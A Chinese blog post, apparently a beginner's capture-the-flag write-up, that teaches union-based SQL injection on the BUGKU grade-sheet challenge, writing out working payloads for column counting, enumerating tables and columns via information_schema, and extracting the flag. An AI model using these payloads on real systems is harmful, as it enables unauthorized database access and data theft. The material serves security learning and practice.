SQL注入

今天在b站看了sql注入基础的视频(up主:小学生Tony君的第1天–sql注入,如何一步一步获取数据),醍醐灌顶,来此记录一下心得体会。这里我们会拿BUGKU的成绩单这一题作为例题来讲解。
题目链接:http://123.206.87.240:8002/chengjidan/

SQL注入简介

Sql 注入攻击是通过将恶意的 Sql 查询或添加语句插入到应用的输入参数中,再在后台 Sql 服务器上解析执行进行的攻击,它目前黑客对数据库进行攻击的最常用手段之一。

SQL注入原理

这里拿构造id=1' or 1 = 1#’为例

SQL代码本身是自带有' '两个单引号的

然后你注入了1'之后它就会与前面的单引号自动闭合就会得到'1''的结果

可以发现多出了一个单引号,也正是这个原因我们可以通过加'一个单引号来判断这个是否存在SQL注入,如果存在那么多出了单引号就会报错,从而判断出有SQL注入。

这里的1' or 1 = 1#中的#是注释符。也就是说把这个语句后面多出的单引号注释了,这样它就无法报错并且无法执行后面的语句,就等于我另外注入了or 1 = 1这一串语句,其1=1永远为真,这个在SQL注入中有重要作用。

正是因为这两个单引号的存在,使得SQL注入成为了可能。

SQL注释

在SQL中#和– 都是注释符,后面那个是减减空格(注意不要漏掉空格),一般在注入中,注释放在语句最后面,将后面那个单引号给注释。

SQL语句

我们现在看看SELECT * FROM users WHERE id = '4'这个语句怎么突破

我们按照上面讲的构造:
SELECT * FROM users WHERE id = '1'SQL INJECT -- '

这里我们就成功将SQL INJECT这个语句注入了进去

如果构造出这样的语句:
SELECT * FROM users WHERE id = '1'SQL INJECT

发现如果没有打上注释符,那它将会报错:Error based mysql injection 错误注入

union select 为SQL注入中最常见的一种攻击方式,他在Mysql数据库查询中是联合查询的意思

例题分析

BUGKU的成绩单这一题(这里我们用到的是火狐浏览器的插件MAX HacKBAR进行构造并注入,当然本题你也可以直接在成绩查询的那个框框里注入)

打开题目可以得到这样的一个查询框

在这里插入图片描述

我们在MAX HacKBar中构造id=1可以发现有回响

在这里插入图片描述

再试试id=1'可以发现以及没有回响了

在这里插入图片描述

这里再试试id=1'#

在这里插入图片描述

得到了回响

初步判断本题是SQL注入

在这里我们进行联合查询,也就是使用union select语句

union select语句基本用法就是id=' union select 1,2,3 #
(这里用#注释符代替– 注释符)

联合查询后面的这些数字的个数是由字段数决定的

那么什么是字段数呢?

在数据表中,每一列就是一个字段(比如有一列id,id就是一个字段)

那么怎么确定字段数个数呢?

我们可以通过order by语句来确定字段数

使用方法id=1' order by 1#,这里就是从order by 1开始一直查,看到到哪个没有回响了就说明没有那一列了,及字段数就是前面那一列。

接下来我们一个一个试

在这里插入图片描述

在这里插入图片描述

在这里插入图片描述

在这里插入图片描述

在这里插入图片描述

我们可以发现当构造order by 5 时表格中已经是空白了,就可以确定在mysql中,这个数据库的字段为4,所以我们在使用mysql进行联合查询时(union select),输入1,2,3,4进行攻击

那我们这里联合查询就是id=' union select 1,2,3,4 #

在这里插入图片描述

我们就可以得到这样的结果。

现在我们知道了联合查询的基本模板之后,只需要将那几个数字改成我们想注入的东西,即可获取数据库里的数据了


如何查询数据?(重点!重点!重点!)


第一步:获取当前数据库名称及当前数据库用户

使用函数:database(),user()

这样可以得到数据库名称和数据库操作用户

在这里我们尝试id=' union select 1,database(),user(),4 #

在这里插入图片描述

在这里插入图片描述

通过这个查询我们得到了数据库名称:skctf_flag和数据库操作用户:skctf_flag@localhost

第二步:获取表名称

在获取之前,我们需要了解的是

table_name 是表名

table_schema 是数据库名

(这个没有别的办法只能自己记)

获取表名称的语句:

id=' union select 1,table_name,3,4 from information_schema.tables where table_schema='skctf_flag' #

在这里我们解释一下from后面的语句是哪来的。

information_schema是mysql_5.0及以上版本自带数据库,用于存储mysql中所有数据库和数据表和列

information_schema.tables 数据库中的表名称

information_schema.columns 数据库中的列名称

“.”在数据库中表示下一级

where语句后面是限定范围,表示查询的内容是在我们刚刚查到的名称为skctf_flag的数据库里

id=' union select 1,table_name,3,4 from information_schema.tables where table_schema='skctf_flag' #

那么这句话就可以理解为:
从名称为skctf_flag的数据库中的所有的表中查询表名。

在这里插入图片描述

这样构造后我们可以查到表名f14g

但实际上id=' union select 1,table_name,3,4 from information_schema.tables where table_schema='skctf_flag' #这个语句并不完美,因为它可能漏掉一些关键表名查询不到,只能查到部分表名,不能查完所有表名。

这里我们会用到一个函数group_concat

group_concat 将查询到的数据都列出来

那么我们就构造一个相对较好的语句为:
id=' union select 1,group_concat(table_name),3,4 from information_schema.tables where table_schema='skctf_flag' #

这句话就可以理解为:

从名称为skctf_flag的数据库中的所有的表中查询所有的表名。

在这里插入图片描述

这样我们就可以将所有的表名都查出来

在这道题中表名为fl4gsc

第三步:获取列名称

类似于获取表名称,我们在那个构造的基础上稍微修改即可

id=' union select 1,group_concat(column_name),3,4 from information_schema.columns where table_name='fl4g' #
(此处fl4g表更像有flag的样子就先获取这个表的列名称吧)

在这里插入图片描述

注入之后我们即可得到列名称

这道题我们获取列名称时没有限定数据库,还是很有可能发生意外的

一般来说获取列名称时必须加上限定条件(限定数据库)

为了保险起见,我们优化一下构造:
id=' union select 1,group_concat(column_name),3,4 from information_schema.columns where table_name='fl4g' and table_schema='skctf_flag' #

在这里插入图片描述

得到列名称

如果好奇的话也可以看看sc表的列名称都是啥

相似的构造:
id=' union select 1,group_concat(column_name),3,4 from information_schema.columns where table_name='sc' and table_schema='skctf_flag' #

在这里插入图片描述

得到了这些~

简直完美~!

第四步:获取数据

到了我们最后的环节,也是最激动人心的一个环节了

我们只需简单的构造:
id=' union select 1,skctf_flag,3,4 from fl4g #

在最后获取数据这里就不用限定太多了直接from表名就行

翻译过来就是从fl4g这个表中获取列skctf_flag的数据

在这里插入图片描述

得到flag

但是可能只获得了一部分数据,可以优化一下此代码为:

id=' union select 1,group_concat(skctf_flag),3,4 from fl4g #

在这里插入图片描述

没啥区别,但这样子更好

最后,我们获取到了该数据中的所有数据!大功告成!

总结一下查询数据的四步走:
第一步:获取当前数据库名称及当前数据库用户
第二步:获取表名称
第三步:获取列名称
第四步:获取数据

在这篇文章主要学了SQL注入的联合查询等内容,我也是今天刚学,来写一篇博客印象深刻些,也分享给大家参考学习,请多多指教。(这道BUGKU的题我两个月前碰到了,完全不会,到两个月后的今天终于完全弄懂了,也是不容易,今日份HAPPY,冲冲冲!!!)